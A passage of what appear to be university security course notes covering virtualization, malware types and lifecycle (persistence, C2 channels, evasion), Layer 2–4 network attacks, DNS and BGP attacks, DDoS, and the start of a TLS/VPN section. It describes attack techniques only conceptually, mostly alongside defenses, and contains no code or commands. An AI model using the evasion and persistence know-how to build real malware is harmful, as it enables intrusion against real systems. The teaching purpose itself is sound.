Density: Many containers can share a single kernel, allowing high utilization of servers
-
Manageability: Tools automate deployment, scaling, and monitoring
The same kernel features that provide containment also make containers predictable to manage and easy to orchestrate at scale.
Virtualization
Virtualization moves the boundary of isolation to the hardware level. A virtual machine (VM) emulates an entire computer system including CPU, memory, storage, and network interfaces. Each VM runs its own operating system and kernel, independent of the host. From the guest operating system's perspective, it has full control of the hardware, even though that hardware is simulated. This approach provides strong isolation because the guest cannot directly access the host's memory or devices.
Virtualization Mechanics
Virtualization creates the illusion that each operating system has exclusive access to the hardware. A software layer called a hypervisor or Virtual Machine Monitor (VMM) sits between the hardware and the guest operating systems. It intercepts privileged operations, manages memory and device access, and schedules CPU time among the guests.
When a guest operating system issues an instruction that would normally access hardware directly, the hypervisor traps that instruction, performs it safely on the guest's behalf, and returns the result. With modern hardware support, most instructions run directly on the CPU, with the hypervisor only intervening for privileged operations. This allows near-native performance while maintaining separation between guests.
Modern processors include hardware support for virtualization, allowing the CPU to switch quickly between executing guest code and hypervisor code, reducing overhead.
Hypervisor Types
Type 1 (bare-metal) hypervisors run directly on hardware and manage guest operating systems, with the hypervisor effectively serving as the host OS. They are more efficient and used in data centers and clouds.
Type 2 (hosted) hypervisors run as applications under a conventional operating system and use that OS's device drivers. They are easier to install on desktop systems and used for testing, development, or running alternative OSes.
Containers vs. Virtual Machines
A container isolates processes but shares the host kernel. A virtual machine isolates an entire operating system with its own kernel. This key difference means:
-
VMs are more secure (stronger isolation, each has its own kernel) but heavier (duplicate OS components, slower startup)
-
Containers are more efficient (share kernel, fast startup, low overhead) but provide weaker isolation (kernel vulnerabilities affect all containers)
VMs can run different operating systems simultaneously; containers must use the host kernel. In practice, many systems combine both: running containers inside VMs to balance efficiency with strong isolation.
Virtualization Advantages
-
Strong isolation: Each guest runs in its own protected memory space and cannot interfere with others
-
Hardware independence: The hypervisor emulates a uniform hardware interface, allowing guests to run on different physical machines without modification
-
Snapshotting and migration: The state of a VM—its memory, CPU, and disk—can be saved, cloned, or moved to another host
-
Consolidation: Multiple virtual servers can share one machine, increasing hardware utilization and reducing costs
-
Testing and recovery: Virtual machines can be paused, restored, or reset easily, supporting software development and disaster recovery
Security Implications
Virtualization offers strong isolation because the hypervisor mediates all access to hardware. A guest cannot normally read or modify another guest's memory or the hypervisor itself. However, vulnerabilities still exist:
-
VM escape: A compromised guest gains control over the hypervisor or host, usually by exploiting vulnerabilities in how the hypervisor emulates devices. This breaks isolation and gives the attacker access to all other virtual machines on the same host
-
Hypervisor vulnerabilities: Bugs in management interfaces or exposed APIs used for remote administration. Because the hypervisor controls all guest systems, these weaknesses are critical targets
-
Side-channel attacks: Exploit shared hardware resources to infer information by measuring timing or behavior
-
Shared-device risks: Multiple VMs using the same physical devices can allow information leakage or denial-of-service through poorly isolated drivers
Hypervisors are typically small and security-hardened, but their central role makes them high-value targets.
Containment Through Virtualization
From the perspective of containment, virtualization represents a deeper boundary. Process-level and container-level mechanisms rely on kernel enforcement. Virtualization adds a distinct kernel for each guest and isolates them with hardware-level checks. This separation makes virtualization the preferred choice for workloads requiring strong security guarantees, multi-tenant separation, or different operating systems.
In practice, many systems combine layers: containers run inside virtual machines, and those virtual machines run under a hypervisor on shared hardware. This layered approach provides both efficiency and assurance. Virtualization represents the deepest layer of software-based isolation—shifting enforcement from the kernel to the hardware level.
Key Takeaways
Containment operates at multiple layers, each providing different trade-offs between security, performance, and flexibility:
-
Application sandboxes restrict individual processes through filesystem isolation, system call filtering, or language-based environments
-
OS-level primitives (namespaces, cgroups, and capabilities) allow the kernel to isolate groups of processes, limit their resource consumption, and divide system privileges
-
Containers combine these primitives into lightweight, portable units for application deployment
-
Virtual machines provide the strongest isolation by emulating hardware and running separate operating systems
The progression from sandboxing to virtualization represents increasingly deeper isolation boundaries: from controlling what a process can see and do, to isolating groups of processes sharing a kernel, to separating entire operating systems with distinct kernels. Each layer builds on the principle of least privilege and defense in depth, restricting access and limiting the impact of compromise. Modern systems often combine multiple layers—running sandboxed applications in containers inside virtual machines—to balance efficiency with strong security guarantees.
Week 9-10: Malware
Malware is software intentionally designed to perform unwanted, unexpected, or harmful actions on a target system. Three requirements: intentional (bugs don't count), unwanted by the legitimate owner, and causes harm or performs unauthorized actions.
Zero-Day and N-Day Exploits
Malware often relies on software vulnerabilities to gain access or escalate privileges. Two common terms describe how attackers exploit flaws based on when they become known.
-
Zero-day exploit: Targets a previously unknown vulnerability for which no patch or mitigation exists. Defenders have “zero days” to prepare, making such attacks difficult to block.
-
N-day exploit: Uses a publicly known vulnerability that already has a patch or workaround available. Attacks succeed because organizations fail to update or secure affected systems.
Zero-day attacks reflect gaps in vendor and researcher awareness; N-day attacks expose weaknesses in operational security and patch management. Both remain central to modern malware campaigns.
Malware Classification by Function
Self-Propagating Malware
The critical distinction is agency -- whether human action is required.
Virus: Attaches to host files (executables or documents with macros). Requires user action to spread—running infected programs or opening infected documents. When activated, seeks other files to infect.
Worm: A self-contained program that spreads autonomously across networks without user intervention. It scans for vulnerable systems and automatically attempts to infect them.
Key difference: Viruses need users to help them spread; worms spread on their own.
Stealth and Unauthorized Access
Trojan Horse: Appears to be legitimate software that users willingly install. it combines an overt purpose (cache cleaning, system optimization) with covert malicious actions (installing backdoors, spyware, ransomware).
Backdoor: Provides remote access bypassing normal authentication. It allows attackers to return to compromised systems at will.
Rootkit: Operates at the kernel or system level to evade detection. It intercepts system calls and lies to security tools, concealing files, processes, network connections, and registry entries.
Financial Malware
Ransomware: Encrypts files or locks systems, demanding payment for restoration. Some variants use double extortion—encrypting data while also exfiltrating it and threatening to publish stolen data.
Cryptojacking: Secretly uses the victim's computing resources to mine cryptocurrency. This causes degraded performance and increased power consumption.
Adware: Displays unwanted advertisements for revenue, often bundled with free software.
Data Theft
Spyware: Monitors user activity without consent. This includes operations like keylogging, screen capture, and browser monitoring.
Keylogger: Records every keystroke to capture passwords, credit card numbers, and private messages.
Information Stealer: Targets stored credentials, browser data, cryptocurrency wallets, and other valuable information.
Remote Control
Bot/Botnet: Infected computers (bots, also known as zombies) controlled remotely and organized into networks (botnets) for coordinated attacks. Used for DDoS, spam distribution, and credential stuffing.
Remote Access Trojan (RAT): Provides the attacker with comprehensive remote control: file access, screen viewing, webcam/microphone activation, and command execution.
Destructive Malware
Logic Bomb: Remains dormant until specific conditions trigger it (date, event, command).
Wiper: Destroys data and systems without a financial motive, often used in geopolitical conflicts.
Nuisance Malware
Scareware: Falsely claims the system is infected to push fake security software purchases.
Browser Hijacker: Modifies browser settings to redirect users and track browsing activity.
How Malware Spreads
Malware employs three broad categories:
-
Network-based attacks exploiting technical vulnerabilities
-
User-assisted methods relying on human interaction
-
Supply chain compromises poisoning trusted distribution channels.
1. Network-Based Propagation
-
Exploit-based: Targets software vulnerabilities to gain access without user interaction
-
Password-based: Uses dictionary attacks, brute force, and credential stuffing
-
Zero-click attacks: Compromise a device without any user interaction. They exploit flaws in message parsing, image rendering, network protocol handling, or background services (e.g., iMessage, MMS, Wi-Fi stack, or baseband firmware). The victim receives malformed data and is infected without opening attachments or clicking links.
2. User-Assisted Propagation
-
Email attachments: Malicious files distributed via email with social engineering
-
Drive-by downloads: Automatic downloads when visiting compromised websites, exploiting browser vulnerabilities
-
USB/removable media: Malware spreads via infected devices using autorun or disguised files
Attackers also use domain deception to mislead users into visiting malicious sites.
-
Typosquatting: Registering domains with slight misspellings of legitimate names (e.g., gooogle.com).
-
Combosquatting: Registering domains that append trusted names with extra words (e.g., paypal-login.com).
3. USB-Based Attacks
-
USB drop attacks: Attackers leave infected USB drives in public places, relying on curiosity or helpfulness. Users plug them in and trigger malware through autorun, malicious documents, or disguised executable files.
-
Malicious USB firmware (BadUSB-class attacks): Devices whose firmware has been altered to impersonate keyboards, network adapters, or storage devices. The OS trusts the device class, allowing attacks such as rapid keystroke injection, traffic redirection, or installing backdoors. Because firmware is not scanned by antivirus tools, these devices bypass most defenses.
-
Example: USB Rubber Ducky: A well-known keystroke-injection tool that looks like a USB drive but behaves like a programmable keyboard. It delivers scripted commands immediately when plugged in.
4. Supply Chain Attacks
-
Software updates: Compromising legitimate update mechanisms
-
Third-party libraries: Inserting malicious code into widely-used packages
Social Engineering
Social engineering manipulates human psychology rather than exploiting technical vulnerabilities. This is often the weakest link in security.
Psychological Manipulation Tactics
-
Urgency: Creates time pressure to bypass careful consideration
-
Authority: Leverages hierarchical power through impersonation
-
Fear: Threatens negative consequences (legal action, account suspension)
-
Curiosity: Exploits the drive to know more
-
Greed: Promises rewards or financial gain
-
Trust: Leverages relationships or a trustworthy appearance
Common Attack Vectors
-
Phishing: Mass emails impersonating legitimate organizations
-
Spear phishing: Targeted attacks using researched personal information
-
Vishing: Voice phishing via phone calls (fake tech support, bank security)
-
Smishing: SMS-based phishing with malicious links
-
Pretexting: Fabricated scenarios to obtain information
-
Quid pro quo: Offering services in exchange for information/access
The Malware Lifecycle
Modern malware operates through a six-stage lifecycle rather than as a single program.
Stage 1: Infection and Delivery
Getting malware onto the target system through exploiting vulnerabilities, social engineering, physical access, supply chain compromise, or drive-by downloads. The initial payload is often just a small first stage that downloads the real malware.
Stage 2: Dropper and Loader
Dropper (or downloader): Downloads and installs the main malware from a remote server. Small and obfuscated, it performs environment checks (VM detection, antivirus status, OS version) before proceeding.
Loader: Includes payload embedded within itself, encrypted or compressed. Unpacks and executes the hidden payload.
Advantages: Smaller initial payloads are easier to deliver, malware can be updated easily (it's a separate component), environment detection avoids sandboxes, and flexible payload delivery.
Stage 3: Persistence Mechanisms
Ensures malware survives reboots. Malware often establishes multiple mechanisms for redundancy.
Windows:
-
Registry Run keys (automatic execution at login)
-
Scheduled Tasks (execute at startup, login, or specific times)
-
Windows Services (run with SYSTEM privileges at boot)
-
DLL hijacking (malicious DLL in a location that is checked before the legitimate version)
-
Boot sector modification (infects master boot record or UEFI -- executes before OS loads)
Linux/macOS:
-
Cron jobs (scheduled execution)
-
Init scripts/systemd services (startup execution)
-
Modified shell configuration files (.bashrc, .profile)
-
Compromised system binaries
-
Launch Agents/Launch Daemons (macOS)
Cross-platform:
-
Browser extensions
-
Startup folders
-
Abuse of legitimate auto-start software
Stage 4: Trigger Conditions
Immediate execution: Runs as soon as installed (common for ransomware).
Time-based triggers:
-
Time bomb: Activates at a specific date/time
-
Logic bomb: Waits for specific conditions (account disabled, file deleted)
Event-based triggers: Banking website visits, accessing specific files, system idle, reboot count, and presence of analysis tools.
Manual triggers: Waits for commands from C2 server; operators decide when to activate based on reconnaissance.
Delayed activation evades time-limited sandbox analysis and enables synchronized attacks.
Stage 5: Payload Execution
What malware actually does—its core functionality:
-
Data manipulation: Encrypting (ransomware), deleting/corrupting (wipers), exfiltrating
-
System manipulation: Installing backdoors, modifying security settings, disabling antivirus, creating accounts
-
Resource abuse: Cryptocurrency mining, sending spam, launching DDoS attacks
-
Surveillance: Keylogging, screenshots, audio/video recording, network monitoring
Stage 6: Propagation
Viruses: Infect other files on the same system. Spreading requires user action—sharing and opening infected files.
Worms: Spread autonomously. Typical cycle: infect, scan network, test vulnerabilities, exploit, copy and execute, repeat. Creates exponential growth.
Common methods: Email (address book contacts), network shares, removable media, network exploits, peer-to-peer networks, social media, APIs with stolen credentials.
Command and Control (C2 or C&C) Mechanisms
Attackers need communication channels to send commands, receive stolen data, and update malware. This is essential for bots, which often sit idle until instructed to launch attacks or download new payloads. The attacker’s challenge is to maintain communication without being noticed or blocked.
C2 Communication Methods
Malware uses a variety of mechanisms to exchange data with its controllers. These channels must work across firewalls and blend into normal traffic. Common communication strategies include:
-
Direct connection: Malware contacts an attacker-controlled server, usually over HTTPS, so the traffic resembles ordinary web requests.
-
Domain Generation Algorithms (DGA): The malware computes large sets of potential domain names. Attackers register a few and wait for infected systems to locate them, which complicates blacklisting and takedown efforts.
-
DNS Tunneling: Data is encoded inside DNS queries sent to an attacker-controlled resolver. This is stealthy but low-bandwidth.
-
Social media and cloud services: Commands or data move through platforms such as X, GitHub, Dropbox, or Google Drive. These services generate traffic that looks legitimate.
-
Peer-to-Peer (P2P): Bots communicate with each other rather than a central server. This eliminates single points of failure but requires a discovery mechanism and often exposes bots to inbound connections.
C2 Evasion Techniques
These techniques help hide the location of C2 servers, disguise traffic patterns, and avoid simple blocking rules:
-
Encryption: Protects the contents of C2 messages from inspection. This is standard in modern malware.
-
Beaconing: Infrequent check-ins that resemble routine software updates rather than constant communication.
-
Domain fronting: Uses a legitimate domain name in the TLS handshake while routing traffic to a hidden C2 server behind a content-delivery network.
-
Fast flux DNS: Rapidly rotates the IP addresses associated with a domain to make takedowns harder.
-
VPN or proxy routing: Masks the true location of C2 infrastructure by relaying traffic through multiple network layers.
Evading Detection and Analysis
Code Obfuscation Techniques
Crypters: Encrypt the malware so that only encrypted data appears on disk; it's decrypted only at runtime. Security tools scanning files see only encrypted content.
Packers: Tools that compress executables and add a small unpacking stub. The real code appears only after the program runs.
Polymorphism: The malware mutates its wrapper code (decryptor or unpacking stub) using techniques such as code reordering, instruction substitution, and junk-code insertion. The payload stays the same. Each copy looks different enough to evade signature-based detection.
Metamorphism: The malware the malware’s entire code body using the same types of transformations (reordering, substitution, junk instructions) so each copy has a different internal structure. There is no constant core to match, which makes signature-based detection significantly harder.
Anti-Analysis Techniques
Virtual Machine Detection: Checks for VM artifacts (hardware IDs, VM-related files/processes, timing inconsistencies). Refuses to execute in detected VMs.
Sandbox Detection: Detects analysis environments through limited user activity, small number of files, short uptime. Remains dormant or behaves benignly.
Debugger Detection: Identifies debugging tools through API calls or debugging flags. Alters behavior or terminates when detected.
Time-based Evasion: Delays malicious activity using sleep functions or waits for specific dates/events. Evades automated analysis with time limits.
Side-Channel Attacks
Side-channel attacks exploit unintended signals rather than software flaws. Malware can leak data or receive commands by manipulating physical or observable system behavior, such as timing, power usage, or device LEDs.
An example is using the keyboard Caps Lock LED to blink encoded data (Bad Bunny), allowing a nearby camera or sensor to capture exfiltrated information. These channels bypass normal network defenses because they rely on observable side effects rather than network traffic.
Fileless Malware
Fileless malware operates entirely in memory without writing files to disk, making it significantly harder to detect since traditional antivirus scans files on disk.
PowerShell-based: Uses Windows PowerShell to download and execute code directly in memory.
Registry-based: Stores code in registry values rather than files.
Living off the land: Uses legitimate system tools (PowerShell, Windows Script Host) for malicious purposes.
Privilege Escalation
Once malware gains initial access, it often needs to escalate privileges to gain full system control and bypass security restrictions.
Kernel exploits: Exploits OS vulnerabilities for system-level access.
Privilege prompt bypasses: Avoid or subvert mechanisms that require user approval for elevated actions, such as Windows UAC or macOS authorization dialogs.
Ken Thompson's "Reflections on Trusting Trust" described perhaps the most insidious backdoor: one that evades even source-code inspection by hiding in the compiler itself, demonstrating that perfect security is impossible and trust is unavoidable at some level.
Defending Against Malware
No single defense is sufficient; each has gaps. Effective defense requires layered approaches.
Anti-Malware Software: Signature-Based Detection
Uses databases of known malware signatures: unique byte patterns identifying specific malware.
Strengths: Fast, accurate for known threats, low false positive rates.
Limitations: Requires updates for new threats; easily evaded through polymorphism and encryption.
Anti-Malware Software: Heuristic and Behavioral Analysis
Examines behavior and characteristics rather than exact signatures.
Static heuristics: Analyzes file structure without execution (suspicious API calls, unusual code patterns, obfuscation indicators).
Dynamic heuristics: Observes program behavior during execution (file modifications, registry changes, network connections, process creation).
Machine learning is often used to train models on malware/benign samples to identify suspicious characteristics. Heuristics are better at detecting new threats but have higher false positive rates and are more resource-intensive.
Sandboxing
Executes suspicious files in isolated environments to safely observe behavior.
Types: Virtual machines (complete OS isolation), application sandboxes (restrict program capabilities).
Benefits: Safe observation, detects unknown threats.
Application sandboxes are the dominant means of protecting mobile devices and are increasingly being adopted across other systems (but slowly). Virtual machines provide an environment for anti-malware software writers to test for threats.
Limitations: Sophisticated malware can detect and evade sandboxes ... or use techniques such as waiting several days or a certain number of reboots before activation.
Honeypots
Honeypots are isolated decoy systems that appear vulnerable or valuable but contain no real data. They attract attackers and record their activity, providing early warning of intrusions and insights into tools and techniques without risking production systems.
Access Control and Privilege Management
Restricting the ability of users to access files and other system resources restricts the ability of malware to do the same. It limits the damage from successful infections:
-
Principle of least privilege: Minimum permissions necessary
-
User Account Control (UAC): Requires approval for administrative actions
-
Application whitelisting: Only approved applications can execute
-
Network segmentation: Isolates critical systems
Email Security
Email has long been a popular channel for social engineering, often delivering malicious attachments or links behind seemingly trustworthy messages. Most email-based attacks depend on deception: impersonating legitimate senders.
Several mechanisms help receiving systems validate the origin and integrity of email:
-
SPF (Sender Policy Framework): The receiver queries DNS to get a list of IP addresses authorized to send mail for a domain. SPF checks the sender domain, not necessarily the human-visible “From:” header.
-
DKIM (DomainKeys Identified Mail): The sender signs selected headers and the message body using a private key. The receiver retrieves the public key via DNS and verifies the signature to confirm that the message was not altered and that the signing domain is legitimate.
-
DMARC: The receiver looks up the domain’s DMARC record in DNS to learn how to handle SPF or DKIM failures and whether the domain in the visible “From:” header aligns with the domains authenticated by SPF and/or DKIM.
Additional security measures focus on message content:
-
Content filtering: Scans attachments, URLs, and embedded scripts; blocks or sanitizes dangerous file types and suspicious content.
-
Link rewriting: Replaces embedded links with security-service URLs. When the user clicks, the service checks the destination for malicious behavior before allowing or blocking access.
Patch Management
Regular software updates address known vulnerabilities and help avoid N-day attacks. Challenges include compatibility issues, testing requirements, and zero-day vulnerabilities (unknown to the vendor).
Week 10-11: Network security & DDoS
Network protocols were developed for cooperative environments and often lack authentication or integrity protections. Attackers exploit these assumptions to intercept, modify, or disrupt communication.
Link Layer Attacks (Layer 2)
Link-layer protocols operate entirely within the local network. Devices on the LAN are implicitly trusted, so an attacker with local access can exploit that trust.
CAM Overflow
Switches maintain a Content Addressable Memory (CAM) table that maps MAC addresses to specific switch ports. This allows the switch to forward unicast traffic privately rather than broadcasting it. CAM tables are finite.
In a CAM overflow attack, an attacker sends frames containing large numbers of fake MAC addresses. When the CAM table fills, legitimate entries age out and the switch begins flooding unknown-destination traffic out every port, exposing frames to anyone on the LAN.
Prevention
Managed switches support multiple defenses:
-
Port security to limit MAC addresses per port
-
Static or “sticky” MAC bindings
-
Disable unused ports
-
Monitoring for abnormal MAC learning rates
ARP Spoofing
ARP (Address Resolution Protocol) maps IP addresses to MAC addresses but provides no authentication. Any host can send unsolicited ARP replies, and most operating systems accept these messages.
In ARP cache poisoning (also known as ARP spoofing), , the attacker sends forged ARP replies, claiming to be another device (often the gateway). Victims update their ARP cache and send traffic to the attacker, who can inspect or modify it.
Prevention:
-
Switches with Dynamic ARP Inspection (DAI) verify ARP replies against known IP-MAC bindings (often learned through DHCP snooping)
-
ARP monitoring tools
-
Static ARP entries for critical devices.
VLAN Hopping
VLANs segment a switch into isolated broadcast domains. VLAN hopping allows an attacker to inject or receive frames on a VLAN they are not assigned to.
Two approaches are used to get content from other VLANs:
-
Switch spoofing: The attacker pretends to be another switch and negotiates a trunk link, gaining access to multiple VLANs.
-
Double tagging: The attacker sends frames with two VLAN tags. The first switch strips the outer tag, leaving the inner one to direct traffic into the target VLAN.
Prevention: Disable automatic trunk negotiation, manually configure trunk ports, tag the native VLAN, and place unused switch ports in isolated VLANs.
DHCP Attacks
DHCP (Dynamic Host Configuration Protocol) assigns IP addresses, default gateways, and DNS servers. Clients accept the first server reply.
Two common attacks:
-
DHCP starvation: flooding the server with DHCP requests to exhaust the address pool. The goal is to deny service or prepare for a rogue server.
-
Rogue DHCP server (also referred to as a DHCP spoofing attack): responding faster than the legitimate server. The goal is to give victims malicious DNS servers or a malicious default gateway, enabling full redirection or interception.
Prevention: Switches with DHCP snooping mark legitimate DHCP server ports as trusted and block DHCP responses on untrusted ports.
Network Layer Attacks (Layer 3)
The network layer routes packets between networks. Routers exchange routing information under the assumption that peers are honest.
IP Spoofing
IP spoofing involves forging the source IP address in outgoing packets. Attackers do this to evade identification, bypass simple filters, or craft reflection attacks.
Prevention: ISPs and enterprises should implement egress filtering, enforcing valid source prefixes (this is known as BCP 38-style filtering, but you don't have to know this).
Router Vulnerabilities
Routers maintain routing tables to determine where to send packets. If an attacker compromises a router, they can drop, reroute, or replicate large volumes of traffic.
Common router attacks include:
-
Denial of Service against router CPU or memory
-
Route table poisoning, injecting false or misleading routes
-
Malware installation on router firmware
-
Brute-forcing credentials or abusing insecure management interfaces
-
Exploiting outdated firmware vulnerabilities
Prevention: Restrict administrative access, keep firmware updated, enforce strong authentication, and filter inbound routing updates.
BGP Hijacking
Border Gateway Protocol (BGP) connects networks known as Autonomous Systems (ASes). An Autonomous System is a set of IP networks under a single administrative domain (e.g., an ISP or a large organization).
ASes advertise IP prefixes: contiguous ranges of IP addresses they can route. Routers select routes based on these advertisements.
Because BGP does not validate prefix ownership, an AS can announce someone else’s prefix. Since routers prefer more specific prefixes (e.g., a /25 over a /24), attackers can redirect traffic at Internet scale.
Prevention:
- RPKI (Resource Public Key Infrastructure) protects the origin of the route.
- A Regional Internet Registry signs a certificate saying “Organization X owns this IP block.” Organization X signs a Route Origin Authorization (ROA) saying “AS Y is allowed to announce this block.” Routers that validate RPKI can reject unauthorized announcements.
- BGPsec extends RPKI to validate the entire sequence of ASes in a route.
- Each AS signs the route before forwarding it. The goal is to ensure no AS is added, removed, or modified. However, for BGPsec to work, every AS on the path must support BGPsec. Using it means routers must continuously process all digital signatures at line speed, imposing a significant computational burden on routers.
Transport Layer Attacks (TCP and UDP)
Transport protocols move data between applications.
- TCP
- Reliable, connection-oriented, ordered delivery. Uses sequence numbers and acknowledgments.
- UDP
- Unreliable, connectionless, no handshake, no sequence numbers.
Both of these protocols assume that end hosts behave honestly. Attackers exploit predictability in sequence numbers or lack of authentication.
TCP Session Hijacking
Early TCP implementations used predictable Initial Sequence Numbers (ISNs). An attacker who guessed the next sequence number could inject malicious packets into an existing session without seeing the traffic.
Prevention:
-
Random ISNs prevent guessing sequence numbers.
-
TLS prevents meaningful injection even if packets are forged since all content is encrypted and has integrity checks.
-
TCP MD5 signatures authenticate each segment (mainly for BGP) through a MAC.
SYN Flooding
TCP allocates resources after receiving a SYN packet. In a SYN flood, attackers send many SYNs without completing the handshake, exhausting the server’s connection backlog.
Prevention:
-
SYN cookies: store connection information in the server’s sequence number using a hash of the connection parameters and a secret key. Memory is allocated only after the ACK arrives.
-
Rate limiting and firewalls that track connections can help.
TCP Reset Attacks
A forged RST packet with an acceptable sequence number forces an immediate connection teardown.
Prevention:
-
Strict RST validation: accept only RSTs with sequence numbers extremely close to the expected value.
-
TLS: hides sequence number state from attackers.
-
TCP MD5: authenticates packets (used in BGP).
UDP Spoofing
UDP provides no handshake or sequence numbers, so attackers can forge source addresses effortlessly. This enables impersonation and reflection attacks.
Prevention:
-
Network filtering to block spoofed packets.
-
Application-level authentication.
DNS Attacks
DNS Basics
DNS resolves domain names to IP addresses. It depends on caching, unauthenticated replies, and a chain of delegations among authoritative servers.
DNS Pharming
Pharming redirects users to malicious sites even when they enter the correct domain name. This is a permanent change to the user's DNS setting or to the DNS resolver. Techniques include:
-
Social engineering (“change your DNS settings to fix your Internet”)
-
Malware modifying DNS settings or the hosts file
-
Rogue DHCP giving victims malicious DNS servers
-
Compromising DNS servers directly
Prevention: Use endpoint defenses, enforce DHCP snooping, validate certificates, and deploy DNSSEC where possible.
DNS Cache Poisoning
Resolvers cache DNS responses. Attackers attempt to inject forged replies by matching the resolver’s transaction ID and arriving before the legitimate server.
Resolvers cache DNS answers. Attackers race the legitimate server by sending fake replies with guessed transaction IDs.
If a fake response arrives first and matches the transaction ID, the resolver caches it.
An enhanced attack (the Kaminsky attack, but you don't need to know the name) involves:
-
Querying many nonexistent subdomains
-
Forcing the resolver to perform repeated lookups
-
Injecting forged responses containing malicious additional records
If accepted, the resolver caches the incorrect records, redirecting all users querying that resolver.
Prevention:
-
Random query IDs
-
Randomize source UDP port
-
0x20 encoding (case randomization in queries)
-
Issuing double DNS queries and checking for consistency
-
Using TCP instead of UDP when possible
-
Deploying DNSSEC. DNSSEC provides cryptographic validation of DNS responses and is the most robust defense.
-
Resolvers should ignore unsolicited additional records.
DNSSEC
DNSSEC adds digital signatures to DNS records. Clients validate them using a chain of trust anchored at the root. DNSSEC prevents record tampering and cache poisoning but does not encrypt traffic. However, it's more CPU-intensive and creates longer responses.
DNS Rebinding
DNS rebinding tricks browsers into interacting with internal network services through an attacker-controlled domain.
Steps:
-
The victim visits an attacker-controlled site.
-
The site returns a DNS record with very short TTL (e.g., TTL = 1) to force repeated DNS requests.
-
JavaScript loads in the browser.
-
The next DNS lookup returns a private IP address.
-
The browser allows the request because the origin (scheme + host + port) is unchanged.
-
JavaScript can now interact with internal devices or APIs.
Prevention:
-
Enforce minimum TTL values to ignore extremely short TTLs
-
DNS pinning, refusing to switch IP addresses during a page session
-
Reject DNS responses containing private or reserved IP addresses
Abandoned Domains (Sitting Ducks)
Some domains have broken DNS delegation (name servers that no longer exist).
If a DNS provider does not verify ownership, an attacker can “claim” such a domain and set new DNS records. Attackers can then serve malware or impersonate services.
Distributed Denial of Service (DDoS)
DDoS attacks overwhelm systems using massive amounts of traffic or by triggering expensive server operations.
Types of DDoS Attacks
-
Volumetric attacks: The goal is to saturate the victim’s bandwidth with massive traffic (measured in bits per second). Examples include UDP floods and large packet floods.
-
Packet-per-second attacks: Send enormous numbers of small packets to overload routers or firewalls. This attack targets forwarding performance, not bandwidth.
-
Request-per-second application-layer) attacks: Flood application servers with HTTP or API requests, exhausting CPU or memory. Examples include HTTP floods or expensive API calls.
Asymmetric Attacks
Attackers send cheap requests that force the defender to do expensive work.
Examples: heavy database lookups, intensive parsing, ICMP error processing.
Reflection and Amplification
Reflection attacks spoof the victim’s IP address so third-party servers send replies to the victim. Amplification uses services where small requests yield disproportionately large responses.
Common amplification services:
-
DNS open resolvers
-
NTP (Network Time Protocol)
-
CLDAP (Connectionless LDAP)
-
SSDP (Simple Service Discovery Protocol)
-
Memcached servers
-
Some gaming or voice protocols
Botnets
Large sets of compromised devices, especially IoT systems, generate massive attack traffic. Botnets often use encrypted C2, fast-flux DNS, or domain-changing strategies.
Defenses
Network-level Defenses:
-
Rate limiting
-
Filtering and anti-spoofing
-
Blackhole routing (drop all traffic that's going to a specific target)
-
Scrubbing centers (services dedicated to ensuring clean traffic at large scale)
Application-level defenses:
-
Web Application Firewalls (WAF): filter malicious HTTP patterns
-
CAPTCHAs: separate humans from bots
-
Content Delivery Networks (CDNs): absorb load at edge locations
-
Throttling: slow requests per user/IP
-
Graceful degradation: maintain minimal service
Key Themes in Network Security
-
Many protocols were built for trust, not security.
-
Attackers exploit resource asymmetry and lack of authentication.
-
Spoofing enables redirection, amplification, and man-in-the-middle attacks.
-
DNS and BGP attacks affect large populations simultaneously.
-
IoT devices continue to fuel massive botnets.
-
Defense requires layered mechanisms and cooperation across networks.
Week 11: VPNs
The Network Security Problem
The Internet's core protocols were designed without security. IP, TCP, UDP, and routing protocols have no built-in authentication, integrity checks, or encryption. This creates serious vulnerabilities:
-
No authentication: IP packets can be forged with fake source addresses
-
No integrity protection: Data can be modified in transit without detection
-
No confidentiality: Anyone along the path can read packet contents
-
Vulnerable routing: BGP and other routing protocols can be manipulated
-
Spoofable protocols: ARP, DHCP, and DNS can be spoofed to redirect traffic
We need security mechanisms that work despite these vulnerabilities, providing confidentiality, integrity, and authentication even when the underlying network is completely untrusted.
Transport Layer Security (TLS)
What TLS Provides
TLS creates a secure channel between two applications. After the initial handshake completes, applications communicate as if using regular TCP sockets, but with three critical guarantees:
-
Authentication: A client can verify it's talking to the correct server (the server can optionally verify the client)
-
Confidentiality: Communication is encrypted, preventing eavesdropping
-
Integrity: Any tampering with the data stream will be detected
TLS (Brief Review)
The TLS 1.3 handshake:
-
Negotiates acceptable cryptographic algorithms
-
Uses Diffie–Hellman to derive a shared secret
-
Has the server prove possession of a private key associated with a CA-signed certificate
-
Derives symmetric encryption keys for application data
TLS 1.3 then uses AEAD encryption such as AES-GCM or ChaCha20-Poly1305.
AEAD (Authenticated Encryption with Associated Data) combines encryption and authentication in a single operation. Think of it as generating a keyed MAC concurrently with encryption, but more efficient than doing encrypt-then-MAC separately. Common algorithms are AES-GCM and ChaCha20-Poly1305.
Mutual authentication is possible but rarely used because deploying client certificates at scale is impractical; most applications authenticate clients with passwords or MFA inside the TLS channel.
Client Authentication
TLS supports mutual authentication, but client certificates are rarely used in practice:
-
Setting up certificates for users is complicated
-
Moving private keys between devices is difficult
-
Any website could request your certificate (destroying anonymity)
-
Public computers create security risks for private keys
Common practice: Authenticate clients after establishing the TLS connection using passwords, multi-factor authentication, or other mechanisms. TLS protects the confidentiality of these credentials.
TLS Limitations
While TLS solves many problems, it has important limitations:
-
It's a transport-layer solution; applications must explicitly use it
-
It only protects communication between two specific applications
-
A TLS connection doesn't guarantee that the server itself is trustworthy
-
It adds some latency (though TLS 1.3 minimized this)
Virtual Private Networks (VPNs)
As we saw, the Internet's core protocols were designed without security. TLS solves this at the transport layer, but each application must implement it separately.
Virtual Private Networks (VPNs) take a different approach by operating at the network layer, protecting all traffic between networks or hosts automatically. Once a VPN tunnel is established, every application benefits from its security without any changes.
Tunneling
Tunneling is the foundation of VPNs. A tunnel encapsulates an entire IP packet as the payload of another IP packet. This allows private addresses within a local area network (like 192.168.x.x) to communicate across the public Internet.
A gateway router on one network takes an outgoing packet destined for a private address on another network, wraps it inside a new packet addressed to the remote gateway's public address, and sends it across the Internet. The remote gateway extracts the original packet and delivers it to its destination.
Basic tunneling provides no security. The encapsulated data travels in unencrypted, endpoints are not authenticated, and there is no integrity protection.
What makes a VPN?
A VPN combines tunneling with three security properties:
Encryption ensures outsiders cannot read the encapsulated data, even if they capture packets on the public Internet.
Integrity protection through message authentication codes ensures outsiders cannot modify data without detection. Tampered packets are discarded.
